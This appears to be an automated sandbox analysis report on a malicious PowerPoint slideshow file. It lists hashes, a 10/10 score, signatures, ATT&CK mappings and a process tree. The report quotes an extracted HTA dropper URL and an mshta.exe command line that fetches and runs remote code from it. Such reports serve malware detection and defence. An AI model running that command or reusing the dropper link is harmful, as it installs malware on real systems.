Analysis

  • max time kernel
    114s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    21-05-2022 03:54

General

  • Target

    a620c6c8eba080f448a230549de1e4653c7c9d661f7774b630e6d300edadf151.pps

  • Size

    65KB

  • MD5

    b3955e1cda42b669f89dd5f2ece4534e

  • SHA1

    3e369400e83d66ebc6e704c6e2b7892f5907473f

  • SHA256

    a620c6c8eba080f448a230549de1e4653c7c9d661f7774b630e6d300edadf151

  • SHA512

    9b82c26b9dd9d1f617a38922cfa058ee40d491b4b46fefd60238934e576859a54ae3ca534763649b25b1caea76c69f2800a21a3ade75420acff87608763d97ad

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://%20%20@j.mp/asdasjASDASDxaksxm

Signatures

  • Process spawned unexpected child process 17 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 16 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\a620c6c8eba080f448a230549de1e4653c7c9d661f7774b630e6d300edadf151.pps" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2744
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:2304
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:3488
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:4024
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:2196
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:1256
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:764
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:1180
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:668
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:3944
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:3592
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:3440
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:3040
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:3912
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http:\\%20%20@j.mp\asdasjASDASDxaksxm
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      PID:5064
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:1768
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:2920
    • C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig
      2⤵
      • Process spawned unexpected child process
      • Gathers network information
      PID:4716

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Command-Line Interface

1
T1059

Discovery

Query Registry

2
T1012

System Information Discovery

3
T1082

Command and Control

Web Service

1
T1102

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/668-145-0x0000000000000000-mapping.dmp
  • memory/764-143-0x0000000000000000-mapping.dmp
  • memory/1180-144-0x0000000000000000-mapping.dmp
  • memory/1256-141-0x0000000000000000-mapping.dmp
  • memory/1768-151-0x0000000000000000-mapping.dmp
  • memory/2196-139-0x0000000000000000-mapping.dmp
  • memory/2304-137-0x0000000000000000-mapping.dmp
  • memory/2744-158-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-159-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-136-0x00007FFD3E940000-0x00007FFD3E950000-memory.dmp
    Filesize

    64KB

  • memory/2744-135-0x00007FFD3E940000-0x00007FFD3E950000-memory.dmp
    Filesize

    64KB

  • memory/2744-134-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-133-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-131-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-132-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-157-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-160-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2744-130-0x00007FFD40E70000-0x00007FFD40E80000-memory.dmp
    Filesize

    64KB

  • memory/2920-152-0x0000000000000000-mapping.dmp
  • memory/3040-149-0x0000000000000000-mapping.dmp
  • memory/3440-147-0x0000000000000000-mapping.dmp
  • memory/3488-138-0x0000000000000000-mapping.dmp
  • memory/3592-146-0x0000000000000000-mapping.dmp
  • memory/3912-148-0x0000000000000000-mapping.dmp
  • memory/3944-142-0x0000000000000000-mapping.dmp
  • memory/4024-140-0x0000000000000000-mapping.dmp
  • memory/4716-153-0x0000000000000000-mapping.dmp
  • memory/5064-150-0x0000000000000000-mapping.dmp